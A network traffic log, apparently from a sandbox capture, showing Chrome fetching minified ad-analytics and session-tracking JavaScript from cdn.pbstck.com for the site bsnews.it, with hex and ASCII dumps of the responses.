2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 75 72 6e 20 72 7d 2c 61 3d 2f 70 62 73 74 63 6b 3a 64 65 62 75 67 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 75 3d 21 21 28 6e 75 6c 6c 3d 3d 3d 28 72 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 67 65 74 49 74 65 6d 29 26 26 6e 75 6c 6c 21 3d 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 70 62 73 74 63 6b 22 29 2c 73 3d 22 5b 70 62 73 74 63 6b 2d 22 2b 28 6e 75 6c 6c 21 3d 3d 28 6f 3d 22 62 62 64 63 33 39 63 22 29 3f 6f 3a 22 75 6e 6b 6e 6f 77 6e 22 29 2b 22 5d 22 3b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 61 7c 7c 75 7d 66 75 6e 63 74 69 6f 6e 20 66 28 29 7b 66 6f Data Ascii: urn r},a=/pbstck:debug/.test(window.location.href),u=!!(null===(r=window.localStorage)\|\|void 0===r?void 0:r.getItem)&&null!==window.localStorage.getItem("pbstck"),s="[pbstck-"+(null!==(o="bbdc39c")?o:"unknown")+"]";function c(){return a\|\|u}function f(){fo
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 6f 2c 7b 7d 29 2c 6c 28 63 5b 6f 5d 2c 76 2c 68 29 2c 74 2e 72 65 61 6c 26 26 45 26 26 21 45 5b 76 5d 26 26 6c 28 45 2c 76 2c 68 29 29 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 4d 61 74 68 3d 3d 4d 61 74 68 26 26 74 7d 3b 74 2e 65 78 70 6f 72 74 73 3d 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 29 7c 7c 6e 28 22 6f 62 6a 65 63 74 22 Data Ascii: o,{}),l(c[o],v,h),t.real&&E&&!E[v]&&l(E,v,h)))}},function(t,e,n){(function(e){var n=function(t){return t&&t.Math==Math&&t};t.exports=n("object"==typeof globalThis&&globalThis)\|\|n("object"==typeof window&&window)\|\|n("object"==typeof self&&self)\|\|n("object"
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 72 2e 62 69 6e 64 28 6f 29 3b 74 2e 65 78 70 6f 72 74 73 3d 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 69 28 6f 2c 74 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 2e 61 70 70 6c 79 28 74 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 33 29 2c 6f 3d 6e 28 31 37 29 2c 69 3d 6e 28 39 37 29 2c 61 3d 72 2e 54 79 70 65 45 72 72 6f 72 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6f 28 74 29 29 72 65 74 75 72 6e 20 74 3b 74 68 72 6f 77 20 61 28 69 28 74 29 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 7d 2c 66 75 6e 63 74 69 Data Ascii: r.bind(o);t.exports=r?function(t){return t&&i(o,t)}:function(t){return t&&function(){return o.apply(t,arguments)}}},function(t,e,n){var r=n(3),o=n(17),i=n(97),a=r.TypeError;t.exports=function(t){if(o(t))return t;throw a(i(t)+" is not a function")}},functi
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 2e 77 69 74 68 6f 75 74 53 65 74 74 65 72 7c 7c 61 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 69 28 63 2c 74 29 7c 7c 21 75 26 26 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 63 5b 74 5d 29 7b 76 61 72 20 65 3d 22 53 79 6d 62 6f 6c 2e 22 2b 74 3b 75 26 26 69 28 66 2c 74 29 3f 63 5b 74 5d 3d 66 5b 74 5d 3a 63 5b 74 5d 3d 73 26 26 6c 3f 6c 28 65 29 3a 64 28 65 29 7d 72 65 74 75 72 6e 20 63 5b 74 5d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 28 31 36 29 2c 6f 3d 6e 28 32 39 29 2c 69 3d 6e 28 31 33 32 29 2c 61 3d 6e 28 33 39 29 2e 66 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 72 2e 53 79 6d 62 6f 6c 7c 7c 28 72 2e 53 79 6d 62 6f 6c 3d 7b Data Ascii: .withoutSetter\|\|a;t.exports=function(t){if(!i(c,t)\|\|!u&&"string"!=typeof c[t]){var e="Symbol."+t;u&&i(f,t)?c[t]=f[t]:c[t]=s&&l?l(e):d(e)}return c[t]}},function(t,e,n){var r=n(16),o=n(29),i=n(132),a=n(39).f;t.exports=function(t){var e=r.Symbol\|\|(r.Symbol={
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 20 54 28 74 2c 65 29 7b 76 61 72 20 6e 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 31 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 7b 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 3d 22 29 3b 72 65 74 75 72 6e 7b 6b 65 79 3a 6e 5b 30 5d 2c 76 61 6c 75 65 3a 6e 5b 31 5d 7d 7d 72 65 74 75 72 6e 7d 28 74 29 2c 6f 3d 61 28 29 28 6e 3d 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 30 5d 29 2e 63 61 6c 6c 28 6e 2c 22 2f 22 29 3f 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 30 5d 3a 22 2f 22 2b 74 2e 73 70 6c 69 74 28 22 3f 22 29 5b 30 5d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 67 65 74 41 64 55 6e 69 74 50 61 74 68 28 29 2e 72 65 70 6c 61 63 65 28 22 2f 2f 22 2c 22 2f 22 29 7d 28 65 Data Ascii: T(t,e){var n,r=function(t){var e=t.split("?")[1];if(void 0!==e){var n=e.split("=");return{key:n[0],value:n[1]}}return}(t),o=a()(n=t.split("?")[0]).call(n,"/")?t.split("?")[0]:"/"+t.split("?")[0],i=function(t){return t.getAdUnitPath().replace("//","/")}(e
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 6f 74 45 6c 65 6d 65 6e 74 49 64 28 29 3d 3d 3d 65 7d 29 29 7d 76 61 72 20 43 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 55 28 74 5b 45 5d 29 7d 3b 76 61 72 20 5f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 6b 2e 61 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3d 4f 28 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4f 62 6a 65 63 74 28 53 2e 64 29 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6f 6f 67 6c 65 74 61 67 20 6f 6e 20 74 68 65 20 70 61 67 65 20 61 66 74 65 72 20 35 20 73 65 63 6f 6e 64 73 22 29 2c 6e 28 29 7d 29 2c 35 65 33 29 3b 21 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 6e 2c 72 2c 6f 29 7b 69 66 28 21 28 6f 3e 3d 35 30 29 29 7b 76 61 72 20 69 3d 55 28 65 5b 45 5d 29 3b 76 6f 69 64 20 30 Data Ascii: otElementId()===e}))}var C=function(t){return U(t[E])};var _=function(t){return new k.a((function(e,n){var r=O()((function(){Object(S.d)("Cannot find googletag on the page after 5 seconds"),n()}),5e3);!function t(e,n,r,o){if(!(o>=50)){var i=U(e[E]);void 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	49976	104.22.0.93	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	554	OUT	GET /user-sessions-aadee70.js HTTP/1.1 Host: cdn.pbstck.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	710	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:18 GMT Content-Type: application/javascript Content-Length: 17045 Connection: close x-amz-id-2: l5V1Jr7YnJSeGNhGIR5YtdTtINyl/1HJTpKKu3upBQX8dKcohm/C0dRoKakUhvbK/0TwKOr8OcU= x-amz-request-id: 42CCNTKSYG27M94K Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Cache-Control: public, max-age=604800, immutable Last-Modified: Fri, 16 Feb 2024 10:03:54 GMT ETag: "157b63b1e80d2d5bb6b26abab55f56fc" CF-Cache-Status: HIT Age: 11549 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660a909852030-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:18 UTC	659	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 74 3d 2f 70 62 73 74 63 6b 3a 64 65 62 75 67 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 6e 3d 21 21 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 70 62 73 74 63 6b 22 29 2c 6f 3d 28 65 2c 6f 2c 2e 2e 2e 72 29 3d 3e 7b 28 74 7c 7c 6e 29 26 26 63 6f 6e 73 6f 6c 65 5b 65 5d 28 60 5b 70 62 73 74 63 6b 55 73 65 72 53 65 73 73 69 6f 6e 73 2d 61 61 64 65 65 37 30 5d 20 5b 24 7b 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2e 74 6f 46 69 78 65 64 28 32 29 7d 5d 20 24 7b 6f 7d 60 2c 2e 2e 2e 72 2e 6c 65 6e 67 74 68 3f 72 3a 22 22 29 7d 2c 72 3d 28 65 2c 2e 2e 2e 74 29 3d 3e 7b 6f Data Ascii: !function(e){"use strict";const t=/pbstck:debug/.test(window.location.href),n=!!window.localStorage.getItem("pbstck"),o=(e,o,...r)=>{(t\|\|n)&&console[e](`[pbstckUserSessions-aadee70] [${performance.now().toFixed(2)}] ${o}`,...r.length?r:"")},r=(e,...t)=>{o
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 7d 29 29 3b 63 6f 6e 73 74 20 6f 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 2e 2e 2e 41 72 72 61 79 2e 66 72 6f 6d 28 6e 2e 65 6e 74 72 69 65 73 28 29 29 2e 6d 61 70 28 28 28 5b 65 2c 74 5d 29 3d 3e 28 7b 5b 65 5d 3a 74 7d 29 29 29 29 3b 72 65 74 75 72 6e 20 6e 2e 73 69 7a 65 3e 30 26 26 69 28 22 43 75 73 74 6f 6d 20 64 69 6d 20 66 6f 75 6e 64 20 3a 22 2c 6f 29 2c 6f 7d 2c 75 3d 65 3d 3e 65 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 77 2b 3a 2f 2c 22 22 29 2c 64 3d 28 65 2c 74 29 3d 3e 65 2e 73 6f 6d 65 28 28 65 3d 3e 74 2e 73 74 61 72 74 73 57 69 74 68 28 65 29 29 29 3b 76 61 72 20 6d 2c 70 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 48 49 53 54 4f 52 59 5f 4d 55 54 41 54 49 4f 4e 3d 22 5f 70 62 73 74 63 6b 5f 68 69 73 74 6f 72 79 4d 75 74 61 74 Data Ascii: }));const o=Object.assign({},...Array.from(n.entries()).map((([e,t])=>({[e]:t}))));return n.size>0&&i("Custom dim found :",o),o},u=e=>e.replace(/^\w+:/,""),d=(e,t)=>e.some((e=>t.startsWith(e)));var m,p;!function(e){e.HISTORY_MUTATION="_pbstck_historyMutat
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 3b 65 3c 31 36 3b 2b 2b 65 29 74 5b 6e 2b 65 5d 3d 6f 5b 65 5d 3b 72 65 74 75 72 6e 20 74 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 3d 30 29 7b 72 65 74 75 72 6e 20 68 5b 65 5b 74 2b 30 5d 5d 2b 68 5b 65 5b 74 2b 31 5d 5d 2b 68 5b 65 5b 74 2b 32 5d 5d 2b 68 5b 65 5b 74 2b 33 5d 5d 2b 22 2d 22 2b 68 5b 65 5b 74 2b 34 5d 5d 2b 68 5b 65 5b 74 2b 35 5d 5d 2b 22 2d 22 2b 68 5b 65 5b 74 2b 36 5d 5d 2b 68 5b 65 5b 74 2b 37 5d 5d 2b 22 2d 22 2b 68 5b 65 5b 74 2b 38 5d 5d 2b 68 5b 65 5b 74 2b 39 5d 5d 2b 22 2d 22 2b 68 5b 65 5b 74 2b 31 30 5d 5d 2b 68 5b 65 5b 74 2b 31 31 5d 5d 2b 68 5b 65 5b 74 2b 31 32 5d 5d 2b 68 5b 65 5b 74 2b 31 33 5d 5d 2b 68 5b 65 5b 74 2b 31 34 5d 5d 2b 68 5b 65 5b 74 2b 31 35 5d 5d 7d 28 6f 29 7d 63 6f 6e 73 74 20 54 3d Data Ascii: ;e<16;++e)t[n+e]=o[e];return t}return function(e,t=0){return h[e[t+0]]+h[e[t+1]]+h[e[t+2]]+h[e[t+3]]+"-"+h[e[t+4]]+h[e[t+5]]+"-"+h[e[t+6]]+h[e[t+7]]+"-"+h[e[t+8]]+h[e[t+9]]+"-"+h[e[t+10]]+h[e[t+11]]+h[e[t+12]]+h[e[t+13]]+h[e[t+14]]+h[e[t+15]]}(o)}const T=
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 20 69 6e 73 74 61 6e 63 65 6f 66 20 6b 29 74 68 72 6f 77 20 65 3b 74 68 72 6f 77 20 6e 65 77 20 6b 7d 7d 2c 55 3d 28 65 2c 74 29 3d 3e 7b 63 6f 6e 73 74 20 6e 3d 6e 65 77 20 55 52 4c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 6f 3d 7b 69 64 3a 79 28 29 2c 6c 61 73 74 55 70 64 61 74 65 54 69 6d 65 4d 73 3a 44 61 74 65 2e 6e 6f 77 28 29 2c 70 61 67 65 43 6f 75 6e 74 3a 30 2c 6c 61 73 74 55 72 6c 56 69 73 69 74 65 64 3a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 75 74 6d 53 6f 75 72 63 65 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 73 6f 75 72 63 65 22 29 7c 7c 6e 75 6c 6c 2c 75 74 6d 43 61 6d 70 61 69 67 6e 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f Data Ascii: instanceof k)throw e;throw new k}},U=(e,t)=>{const n=new URL(window.location.href),o={id:y(),lastUpdateTimeMs:Date.now(),pageCount:0,lastUrlVisited:window.location.href,utmSource:n.searchParams.get("utm_source")\|\|null,utmCampaign:n.searchParams.get("utm_
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 6d 2e 53 45 53 53 49 4f 4e 5f 54 52 41 43 4b 49 4e 47 5f 41 55 54 48 4f 52 49 5a 45 44 2c 28 6e 3d 3e 7b 69 28 60 5b 70 61 67 65 5d 20 24 7b 6d 2e 53 45 53 53 49 4f 4e 5f 54 52 41 43 4b 49 4e 47 5f 41 55 54 48 4f 52 49 5a 45 44 7d 60 2c 6e 29 3b 74 72 79 7b 28 28 65 2c 74 29 3d 3e 7b 74 72 79 7b 63 6f 6e 73 74 20 6e 3d 52 28 65 2c 74 29 3b 69 66 28 50 28 6e 2e 6c 61 73 74 55 70 64 61 74 65 54 69 6d 65 4d 73 29 29 74 68 72 6f 77 20 6e 65 77 20 44 3b 6e 2e 6c 61 73 74 55 70 64 61 74 65 54 69 6d 65 4d 73 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 6e 2e 6c 61 73 74 55 72 6c 56 69 73 69 74 65 64 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e Data Ascii: indow.addEventListener(m.SESSION_TRACKING_AUTHORIZED,(n=>{i(`[page] ${m.SESSION_TRACKING_AUTHORIZED}`,n);try{((e,t)=>{try{const n=R(e,t);if(P(n.lastUpdateTimeMs))throw new D;n.lastUpdateTimeMs=Date.now(),n.lastUrlVisited=window.location.href,localStorage.
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 29 2c 63 6f 6e 73 65 6e 74 3a 53 28 29 2c 75 73 65 72 53 65 73 73 69 6f 6e 49 64 3a 6e 75 6c 6c 2c 73 65 73 73 69 6f 6e 54 72 61 63 6b 69 6e 67 3a 62 28 29 2c 75 74 6d 53 6f 75 72 63 65 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 73 6f 75 72 63 65 22 29 2c 75 74 6d 43 61 6d 70 61 69 67 6e 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 63 61 6d 70 61 69 67 6e 22 29 2c 75 74 6d 43 6f 6e 74 65 6e 74 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 63 6f 6e 74 65 6e 74 22 29 2c 75 74 6d 54 65 72 6d 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 22 75 74 6d 5f 74 65 72 6d 22 29 2c 75 74 6d 4d 65 64 69 75 6d 3a 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 Data Ascii: ),consent:S(),userSessionId:null,sessionTracking:b(),utmSource:n.searchParams.get("utm_source"),utmCampaign:n.searchParams.get("utm_campaign"),utmContent:n.searchParams.get("utm_content"),utmTerm:n.searchParams.get("utm_term"),utmMedium:n.searchParams.get
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 20 63 6d 70 20 61 66 74 65 72 20 31 30 30 20 74 72 69 65 73 22 29 2c 4b 28 65 2c 74 29 7d 29 2c 32 30 30 29 7d 29 29 7d 63 61 74 63 68 28 65 29 7b 61 28 22 5b 63 6f 6e 73 65 6e 74 5d 20 45 72 72 6f 72 20 77 68 69 6c 65 20 6c 6f 61 64 69 6e 67 20 74 63 66 20 61 70 69 22 29 7d 7d 2c 4a 3d 28 65 2c 74 2c 6e 29 3d 3e 7b 69 66 28 65 2e 5f 5f 74 63 66 61 70 69 29 7b 63 6f 6e 73 74 20 6f 3d 65 2e 5f 5f 74 63 66 61 70 69 3b 28 65 3d 3e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 29 28 65 2e 5f 5f 74 63 66 61 70 69 29 3f 74 28 6f 29 3a 6e 28 22 5f 5f 74 63 66 61 70 69 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 65 6c 73 65 20 73 65 74 54 69 6d 65 6f 75 74 28 28 28 29 3d 3e 4a 28 65 2c 74 2c 6e 29 29 2c 31 30 30 29 7d 2c 6a 3d 65 Data Ascii: cmp after 100 tries"),K(e,t)}),200)}))}catch(e){a("[consent] Error while loading tcf api")}},J=(e,t,n)=>{if(e.__tcfapi){const o=e.__tcfapi;(e=>"function"==typeof e)(e.__tcfapi)?t(o):n("__tcfapi is not a function")}else setTimeout((()=>J(e,t,n)),100)},j=e
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 73 65 72 76 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 65 2e 67 65 74 45 6e 74 72 69 65 73 28 29 29 7d 29 29 7d 29 29 3b 72 65 74 75 72 6e 20 6f 2e 6f 62 73 65 72 76 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 74 79 70 65 3a 65 2c 62 75 66 66 65 72 65 64 3a 21 30 7d 2c 6e 7c 7c 7b 7d 29 29 2c 6f 7d 7d 63 61 74 63 68 28 65 29 7b 7d 7d 2c 73 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 6f 29 7b 76 61 72 20 72 2c 69 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 2e 76 61 6c 75 65 3e 3d 30 26 26 28 61 7c 7c 6f 29 26 26 28 28 69 3d 74 2e 76 61 6c 75 65 2d 28 72 7c 7c 30 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 29 26 Data Ascii: server((function(e){Promise.resolve().then((function(){t(e.getEntries())}))}));return o.observe(Object.assign({type:e,buffered:!0},n\|\|{})),o}}catch(e){}},se=function(e,t,n,o){var r,i;return function(a){t.value>=0&&(a\|\|o)&&((i=t.value-(r\|\|0))\|\|void 0===r)&
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 2c 21 30 29 3a 65 28 29 7d 2c 77 65 3d 5b 31 38 30 30 2c 33 65 33 5d 2c 79 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 3d 74 7c 7c 7b 7d 2c 68 65 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 3d 76 65 28 29 2c 72 3d 69 65 28 22 46 43 50 22 29 2c 69 3d 61 65 28 22 70 61 69 6e 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 3d 3d 3d 65 2e 6e 61 6d 65 26 26 28 69 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 2c 65 2e 73 74 61 72 74 54 69 6d 65 3c 6f 2e 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 26 26 28 72 2e 76 61 6c 75 65 3d 4d 61 74 68 2e 6d 61 78 28 65 2e 73 74 61 72 74 54 69 6d 65 2d 72 65 28 29 2c Data Ascii: ,!0):e()},we=[1800,3e3],ye=function(e,t){t=t\|\|{},he((function(){var n,o=ve(),r=ie("FCP"),i=ae("paint",(function(e){e.forEach((function(e){"first-contentful-paint"===e.name&&(i.disconnect(),e.startTime<o.firstHiddenTime&&(r.value=Math.max(e.startTime-re(),
2024-03-28 08:51:18 UTC	1369	IN	Data Raw: 6e 49 64 29 2c 44 65 3d 4d 61 74 68 2e 6d 61 78 28 44 65 2c 65 2e 69 6e 74 65 72 61 63 74 69 6f 6e 49 64 29 2c 43 65 3d 44 65 3f 28 44 65 2d 4e 65 29 2f 37 2b 31 3a 30 29 7d 29 29 7d 2c 4f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 65 3f 43 65 3a 70 65 72 66 6f 72 6d 61 6e 63 65 2e 69 6e 74 65 72 61 63 74 69 6f 6e 43 6f 75 6e 74 7c 7c 30 7d 2c 50 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 69 6e 74 65 72 61 63 74 69 6f 6e 43 6f 75 6e 74 22 69 6e 20 70 65 72 66 6f 72 6d 61 6e 63 65 7c 7c 65 65 7c 7c 28 65 65 3d 61 65 28 22 65 76 65 6e 74 22 2c 4c 65 2c 7b 74 79 70 65 3a 22 65 76 65 6e 74 22 2c 62 75 66 66 65 72 65 64 3a 21 30 2c 64 75 72 61 74 69 6f 6e 54 68 72 65 73 68 6f 6c 64 3a 30 7d 29 29 7d 2c 52 65 3d 5b 32 30 30 2c 35 30 30 5d 2c Data Ascii: nId),De=Math.max(De,e.interactionId),Ce=De?(De-Ne)/7+1:0)}))},Oe=function(){return ee?Ce:performance.interactionCount\|\|0},Pe=function(){"interactionCount"in performance\|\|ee\|\|(ee=ae("event",Le,{type:"event",buffered:!0,durationThreshold:0}))},Re=[200,500],

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	49977	104.22.0.93	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:18 UTC	550	OUT	GET /collector-9d47d92.js HTTP/1.1 Host: cdn.pbstck.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:18 UTC	710	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:18 GMT Content-Type: application/javascript Content-Length: 62075 Connection: close x-amz-id-2: mOORdaS4h/B2th/2wPch5iL5M8dcrWB+XKOTCFd0+pUqu48hHvQWen2C8eEjE9zn1IJ2rX2njOE= x-amz-request-id: C0WXSRBK5QQZE09Z Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Cache-Control: public, max-age=604800, immutable Last-Modified: Wed, 20 Mar 2024 15:52:34 GMT ETag: "67f53a368f4d2ff48d953962b5fd8816" CF-Cache-Status: HIT Age: 18295 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b660a91c3f07f0-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:18 UTC	659	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 2c 69 2c 73 29 7b 72 65 74 75 72 6e 20 6e 65 77 28 69 7c 7c 28 69 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 74 72 79 7b 64 28 73 2e 6e 65 78 74 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 6f 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 74 72 79 7b 64 28 73 2e 74 68 72 6f 77 28 65 29 29 7d 63 61 74 63 68 28 65 29 7b 6f 28 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 76 61 72 20 74 3b 65 2e 64 6f 6e 65 3f 6e 28 65 2e 76 61 6c 75 65 29 3a 28 74 3d 65 2e 76 61 6c 75 65 2c 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 69 3f 74 3a 6e 65 77 20 69 28 28 66 Data Ascii: !function(e){"use strict";function t(e,t,i,s){return new(i\|\|(i=Promise))((function(n,o){function a(e){try{d(s.next(e))}catch(e){o(e)}}function r(e){try{d(s.throw(e))}catch(e){o(e)}}function d(e){var 